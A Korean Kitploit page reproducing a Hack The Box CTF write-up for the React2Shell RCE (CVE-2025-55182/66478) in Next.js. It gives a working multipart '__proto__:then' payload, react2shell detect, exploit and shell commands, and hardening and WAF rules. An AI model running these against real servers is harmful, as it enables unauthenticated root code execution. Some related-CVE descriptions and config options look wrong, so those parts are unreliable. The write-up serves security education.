Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ReactOOPS-WriteUp — Hack The Box의 은퇴한 챌린지 ReactOOPS에 대한 Writeup - CVE-2025-55182/CVE-2025-66478 (React2Shell RCE)에 대한 완벽한 솔루션 및 교육 가이드. 상세한 취약점 분석, 익스플로잇 기술 및 팀 학습 자료 포함. | Kitploit
도구/GitHubGitHub/thestingr/reactoops-writeup
Static AnalysisVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationRed TeamingPayload DevelopmentLabs & Practice
68개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
thestingr/reactoops-writeup

ReactOOPS-WriteUp

Hack The Box의 은퇴한 챌린지 ReactOOPS에 대한 Writeup - CVE-2025-55182/CVE-2025-66478 (React2Shell RCE)에 대한 완벽한 솔루션 및 교육 가이드. 상세한 취약점 분석, 익스플로잇 기술 및 팀 학습 자료 포함.

저장소 보기웹사이트

ReactOOPS - HTB 웹 챌린지 분석 보고서

CVE-2025-55182 CVE-2025-66478 CVSS 점수: 10.0 치명적 익스플로잇 상태: 개념 증명 가능 챌린지 상태: 해결됨 챌린지 유형: 웹 프레임워크: React/Next.js

작성자: TheStingR - Team ISP1337Hackers
챌린지: ReactOOPS (웹)
플랫폼: Hack The Box
난이도: 매우 쉬움 - 은퇴됨
해결 날짜: 2025년 12월 13일

목차

  1. 요약
  2. 챌린지 설명
  3. 취약점 분석
  4. 정찰 및 정보 수집
  5. 익스플로잇 과정
  6. 플래그 추출
  7. 기술 심층 분석
  8. 방어 및 완화
  9. 교훈

요약

ReactOOPS는 CVE-2025-55182 / CVE-2025-66478를 익스플로잇하는 웹 챌린지입니다. 이는 React 서버 컴포넌트와 Next.js App Router의 치명적인 인증되지 않은 원격 코드 실행 취약점입니다.

주요 발견 사항:

  • ✅ 서버: Next.js 16.0.6 + React 19 (취약)
  • ✅ 취약점: Flight 프로토콜 역직렬화에서 hasOwnProperty 검사 누락
  • ✅ 영향: 인증되지 않은 원격 코드 실행(root 권한)
  • ✅ 익스플로잇: 단일 HTTP POST 요청 필요

챌린지 설명

초기 평가

챌린지는 NexusAI의 어시스턴트 인터페이스를 실행하는 정교한 Next.js 애플리케이션을 제공합니다. 애플리케이션은 React 서버 컴포넌트를 통해 사용자 입력을 처리하는 것처럼 보이지만, 반응형 레이어의 미묘한 결함이 근본적인 취약점을 암시합니다.

기술 스택

  • 프레임워크: Next.js 16.0.6
  • React 버전: 19.x
  • 배포: Docker 컨테이너 (Next.js standalone 빌드)
  • 서버 포트: 50183

취약점 유발 요인

애플리케이션은 다음을 사용합니다:

  1. React 서버 컴포넌트 (RSC) - 클라이언트 통신을 통한 서버 측 렌더링
  2. Flight 프로토콜 - RSC 데이터 전송용 직렬화 형식
  3. 취약한 종속성 - 보안 패치가 적용되지 않은 react-server-dom-webpack

취약점 분석

CVE-2025-55182 / CVE-2025-66478 개요

Flight 프로토콜이란?

Flight 프로토콜은 React가 서버 컴포넌트 아키텍처에서 서버와 클라이언트 간 데이터를 전송하기 위해 사용하는 독점 직렬화 형식입니다. 다음과 같은 참조를 사용합니다:

  • $1 - 위치 1의 객체 참조
  • $1:path:to:value - 속성 경로 탐색

누락된 보안 검사

React의 ReactFlightReplyServer.js 취약 코드:

root@kitploit:~
// ~450번 줄: getOutlinedModel 함수
function getOutlinedModel(response, id) {
    let chunk = chunks.get(id);
    const value = chunk.value;
    
    // "$1:path:to:value" 같은 참조 처리
    if (reference.startsWith('$')) {
        const refId = parseInt(reference.slice(1).split(':')[0]);
        const path = reference.slice(1).split(':').slice(1);
        
        let obj = chunks.get(refId).value;
        
        // 취약 루프 - hasOwnProperty 검사 없음!
        for (let i = 0; i < path.length; i++) {
            obj = obj[path[i]];  // ← 프로토타입 체인 접근 허용
        }
        return obj;
    }
}

안전한 버전 (되어야 할 코드):

root@kitploit:~
for (let i = 0; i < path.length; i++) {
    if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
        obj = obj[path[i]];
    } else {
        throw new Error('잘못된 속성 접근');
    }
}

이것이 중요한 이유

hasOwnProperty 검사가 없으면 공격자는 다음을 탐색할 수 있습니다:

root@kitploit:~
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype

익스플로잇 체인

root@kitploit:~
1단계: "$1:__proto__:then" 참조 전송
         │
         ├─ myChunk[__proto__] 접근
         └─ 프로토타입의 [then] 접근

2단계: 가짜 Promise 유사 객체 생성
         │
         └─ { then: 악성 함수 }

3단계: React가 이 객체에 대해 await 호출
         │
         ├─ .then() 메서드 호출
         └─ 공격자 함수 실행

4단계: 임의 코드 실행
         │
         └─ 서버 컨텍스트에서 root 권한으로 코드 실행

인증 검사가 없는 이유?

취약점은 Next-Action 검증 이전에 존재합니다:

root@kitploit:~
요청 처리 흐름:
├─ multipart 폼 데이터 파싱
├─ Flight 프로토콜 역직렬화  ← 여기서 RCE 발생
│  └─ 참조 및 객체 처리
│  └─ hasOwnProperty 검사 없음!
├─ Next-Action 헤더 추출
├─ 액션 ID 검증              ← 이 단계 이후에 옴
└─ 액션 핸들러 실행

역직렬화 중 RCE를 트리거함으로써 공격자는 모든 액션 수준 보안 검사를 우회합니다.


정찰 및 정보 수집

1단계: 초기 연결 테스트

root@kitploit:~
# 서비스 응답 확인
curl -v http://<IP>:PORT/

예상 결과: RSC가 활성화된 Next.js 애플리케이션 HTML 제공

2단계: 기술 식별

다음 지표 확인:

  • next- 접두사를 포함한 응답 헤더
  • <script type="text/x-component">를 포함한 HTML
  • .next 디렉터리 아티팩트 존재
  • 명확한 인증이 없는 POST 엔드포인트

3단계: 취약점 탐지

가장 신뢰할 수 있는 지표는 프로토타입 오염 공격을 시도하고 응답을 관찰하는 것입니다:

root@kitploit:~
# 비파괴적 탐지 페이로드
# 전송: ["$1:a:a"] {} 참조
# 취약 서버: {}.a.a 예외 발생 → HTTP 500 + E{"digest"
# 패치 서버: hasOwnProperty가 접근 차단 → 충돌 없음

익스플로잇 과정

환경 설정

root@kitploit:~
# 챌린지 디렉터리로 이동
cd /Challenges/ReactOOPS

# react2shell 익스플로잇 프레임워크 클론
git clone https://github.com/freeqaz/react2shell.git

# 모든 스크립트 실행 권한 부여
chmod +x react2shell/*.sh

1단계: 탐지 (비파괴적 증명)

목표: 손상 없이 서버 취약 여부 확인

root@kitploit:~
cd react2shell

# 탐지 프로브 실행
./detect.sh http://<IP>:PORT

작동 방식:

  1. Next-Action: x 헤더가 포함된 multipart POST 요청 생성
  2. 페이로드 전송: ["$1:a:a"] 빈 객체 {} 참조
  3. 취약 서버: JavaScript가 {}.a.a 접근 시도
  4. hasOwnProperty 검사 누락으로 충돌 발생
  5. 서버가 오류 다이제스트와 함께 HTTP 500 반환

예상 출력:

root@kitploit:~
[*] React2Shell 탐지 프로브 (CVE-2025-55182 / CVE-2025-66478)
[*] 대상: http://<IP>:PORT

[*] HTTP 상태: 500
[!] 취약 - 서버가 E{"digest" 패턴과 함께 500 반환

[*] 응답 본문:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}

[!] 이 서버는 취약한 React RSC / Next.js 버전을 실행 중입니다.

해석:

  • HTTP 500: ✅ 충돌 감지
  • 응답에 E{"digest" 포함: ✅ React 오류 처리 형식
  • 결론: 서버가 취약함

2단계: 원격 코드 실행 (개념 증명)

목표: 임의 명령 실행 확인

root@kitploit:~
# 원격 서버에서 'id' 명령 실행
./exploit-redirect.sh -q http://<IP>:PORT "id"

작동 방식:

  1. 명령 페이로드가 포함된 multipart 페이로드 구성
  2. 프로토타입 오염 참조에 명령 포함
  3. Next-Action: x 헤더와 함께 POST 요청 전송
  4. 서버가 처리 중 명령 역직렬화 및 실행
  5. HTTP 303 리디렉션을 통해 명령 출력 반환

예상 출력:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

핵심 통찰: 출력에서 uid=0(root)를 보여줍니다. 웹 서버가 root로 실행 중입니다! 이는 보안 구성 오류로 영향을 증폭시킵니다.

3단계: 정보 수집

목표: 파일 시스템 매핑 및 민감 파일 위치 확인

root@kitploit:~
# 현재 작업 디렉터리 확인
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# 출력: /app/.next/standalone

# 애플리케이션 루트 디렉터리 목록
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"

발견된 디렉터리 구조:

root@kitploit:~
/app/
├── .next/                    # Next.js 빌드 출력
├── node_modules/             # 종속성
├── app/                       # 애플리케이션 소스 코드
├── public/                    # 정적 자산
├── flag.txt                   # ✅ 목표 파일 (모드 600)
├── package.json
└── tsconfig.json

중요 발견: 플래그 파일이 /app/flag.txt에 제한적 권한(600)으로 존재

4단계: 플래그 추출

목표: 플래그 파일 읽기

root@kitploit:~
# 플래그 읽기
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/flag.txt"

출력:

root@kitploit:~
HTB{jus7_REDACTED_2025-55182}

✅ 챌린지 완료!


기술 심층 분석

페이로드 구조 분석

익스플로잇은 Flight 프로토콜 페이로드를 구성합니다. 명령 페이로드의 예시는 다음과 같습니다:

root@kitploit:~
POST / HTTP/1.1
Host: <IP>:PORT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Next-Action: x

------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="1"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "value": "{\"cmd\":\"id\"}",
  "_response": {
    "id": "1",
    "chunks": []
  }
}
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="0"

"$@1"
------WebKitFormBoundaryXXXX--

역직렬화 과정

root@kitploit:~
1. multipart 폼 데이터 파싱
   → name="1" → "then" 속성을 가진 JSON 객체
   → name="0" → 문자열 "$@1"

2. 참조 처리
   → "$@1"은 "청크 1 참조" 의미
   → chunk[1].value 조회

3. 참조 경로 해석
   → 참조: "$1:__proto__:then"
   → 콜론으로 분할: ["", "__proto__", "then"]
   → chunk[1]에서 시작
   → [__proto__] 접근 → 프로토타입으로 이동
   → [then] 접근 → then 메서드 접근

4. 가짜 Promise 구성
   → .then() 메서드를 가진 객체 생성
   → 메서드에 명령 페이로드 포함

5. Promise .then() 실행
   → React가 Promise 유사 객체로 처리
   → .then() 핸들러 호출
   → ROOT 권한으로 코드 실행

각 익스플로잇 스크립트 차이점

exploit-redirect.sh를 사용한 이유:

  • ✅ 유효한 액션 ID 없이 작동
  • ✅ 안정적인 303 응답
  • ✅ 출력 가시성 양호
  • ✅ 오류 페이지 간섭 없음

방어 및 완화

취약 시스템 대상

즉시 조치 (패치 전):

  1. 필요하지 않으면 RSC 비활성화

    root@kitploit:~
    // next.config.js
    module.exports = {
      experimental: {
        rsc: false  // React 서버 컴포넌트 비활성화
      }
    }
    
  2. Next-Action 사용 제한

    root@kitploit:~
    // middleware.ts
    export function middleware(request) {
      // Next-Action이 있는 POST 요청 모두 거부
      if (request.method === 'POST' && 
          request.headers.has('next-action')) {
        return new Response('Forbidden', { status: 403 });
      }
    }
    
  3. 네트워크 분할

    root@kitploit:~
    # 신뢰할 수 있는 소스만 허용
    iptables -A INPUT -p tcp --dport 50183 -s TRUSTED_IP -j ACCEPT
    iptables -A INPUT -p tcp --dport 50183 -j DROP
    

즉시 패치:

root@kitploit:~
# Next.js 업데이트
npm install next@latest

# 또는 특정 패치 버전
npm install [email protected]

# 버전 확인
npm ls next react-server-dom-webpack

모든 시스템 대상

보안 강화:

  1. 웹 서버를 root가 아닌 사용자로 실행

    root@kitploit:~
    # 이렇게 하지 마세요:
    RUN npm start  # root로 실행
    
    # 이렇게 하세요:
    RUN useradd -u 1000 nextjs
    USER nextjs
    CMD ["npm", "start"]
    
  2. 입력 검증

    root@kitploit:~
    // 모든 Flight 프로토콜 입력 검증
    app.post('/api/*', (req, res) => {
      // 의심스러운 패턴 확인
      const body = JSON.stringify(req.body);
      if (body.includes('__proto__') || 
          body.includes('constructor') ||
          body.includes('prototype')) {
        return res.status(400).send('잘못된 입력');
      }
    });
    
  3. 속도 제한

    root@kitploit:~
    // IP당 POST 요청 제한
    app.post('/api/*', rateLimit({
      windowMs: 60 * 1000,
      max: 10
    }));
    

탐지 및 모니터링

WAF 규칙:

root@kitploit:~
# 프로토타입 오염 시도 탐지
If Request.Method == "POST" AND
   Request.Body Contains "__proto__" OR
   Request.Body Contains ":then" OR
   Request.Body Contains ":constructor"
Then 경고 + 차단

로그 모니터링:

root@kitploit:~
# 의심스러운 패턴 찾기
grep -E '__proto__|constructor|:then' /var/log/nginx/access.log
grep 'HTTP 500.*digest' /var/log/nginx/error.log

행동 기반 탐지:

root@kitploit:~
// 비정상 명령 실행 모니터링
const childProcess = require('child_process');
const original_spawn = childProcess.spawn;

childProcess.spawn = function(...args) {
    console.log('[보안] 명령 실행 시도:', args[0]);
    // 정책 시행 구현
    return original_spawn.apply(this, args);
};

교훈

보안 교훈

  1. 단일 검사 누락 = 치명적 취약점

    • hasOwnProperty 가드는 임포트되었지만 사용되지 않음
    • 한 줄의 누락된 검증이 RCE로 이어짐
    • 교훈: 코드 리뷰는 모든 가드가 실제로 사용되는지 확인해야 함
  2. 프로토타입 체인은 위험함

    • JavaScript의 프로토타입 체인은 의도하지 않은 속성 접근에 악용될 수 있음
    • 객체 속성 접근은 무해해 보임: obj[key]
    • 교훈: 신뢰할 수 없는 입력에는 항상 hasOwnProperty 또는 Object.create(null) 사용
  3. 검증 전 역직렬화는 위험함

    • 인증 검사 이전에 역직렬화 중 코드 실행
    • 정상 흐름: 인증 → 검증 → 처리
    • 취약 흐름: 파싱 → 코드 실행 → 검증 (너무 늦음!)
    • 교훈: 신뢰할 수 없는 데이터의 역직렬화 중에는 코드를 실행하지 마세요
  4. 기본 프로세스 권한이 중요함

    • root로 실행되는 웹 서버가 영향을 증폭시킴
    • 서버 침해 = 전체 시스템 제어
    • 교훈: 항상 최소 권한으로 서비스 실행

익스플로잇 교훈

  1. 비파괴적 탐지는 가치 있음

    • detect.sh는 손상 없이 취약점 증명
    • 평가자가 익스플로잇 전 취약점 검증 가능
    • 모범 사례: 항상 탐지 단계 포함
  2. 체계적인 정찰

    • 탐지부터 시작
    • RCE 증명으로 이동
    • 그 다음 정보 수집
    • 마지막으로 플래그 추출
    • 모범 사례: 바로 익스플로잇으로 넘어가지 말고 먼저 정보 수집
  3. 기술 이해

    • Flight 프로토콜 지식이 익스플로잇에 도움
    • Next.js 아키텍처 이해가 핵심
    • JavaScript 프로토타입 체인 이해가 중요
    • 모범 사례: 익스플로잇 전 기술 스택 연구

타임라인


참고 자료

공식 문서

  • CVE-2025-55182
  • CVE-2025-66478
  • React 서버 컴포넌트
  • Flight 프로토콜

익스플로잇 자료

  • react2shell 저장소
  • EXPLOIT_NOTES.md
  • PAYLOAD_REFERENCE.md

관련 CVE

  • CVE-2023-46805: React 프로토타입 오염 (유사하지만 다름)
  • CVE-2024-4761: 서버 컴포넌트 XSS

부록: 명령 참조

빠른 익스플로잇

root@kitploit:~
# 한 줄 익스플로잇
cd /ReactOOPS/react2shell && \
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/flag.txt"

대화형 셸

root@kitploit:~
# 전체 대화형 셸 실행
./shell.sh http://<IP>:PORT

# 일반 명령:
id                    # 사용자 정보 표시
pwd                   # 현재 디렉터리
ls -la                # 파일 목록
cat /app/flag.txt     # 플래그 읽기
cd /var/log           # 디렉터리 변경
download flag.txt     # 파일 다운로드

정보 수집

root@kitploit:~
# 시스템 정보
./exploit-redirect.sh -q http://<IP>:PORT "uname -a"

# 환경 변수
./exploit-redirect.sh -q http://<IP>:PORT> "env"

# 실행 중인 프로세스
./exploit-redirect.sh -q http://<IP>:PORT "ps aux"

# 네트워크 연결
./exploit-redirect.sh -q http://<IP>:PORT "netstat -tuln"

# 애플리케이션 소스
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/package.json"

도구 다운로드
스크립트메커니즘HTTP 코드탐지
exploit-redirect.sh프로토타입 탐색 + Promise 체인303x-action-redirect
exploit-throw.shtry-catch 오류500본문 오류
exploit-blind.sh부채널 (파일 쓰기, DNS)200대역 외
exploit-reflect.sh응답에 직접 반영200본문 명령 출력
shell.sh대화형 래퍼다양함REPL 인터페이스
시간작업결과
T+0초초기 연결 테스트서비스 응답
T+10초detect.sh 실행취약 확인
T+30초id 명령 실행root 권한 확인
T+1분/app 디렉터리 목록플래그 위치 발견
T+1분 30초플래그 파일 읽기플래그 추출
T+2분확인챌린지 완료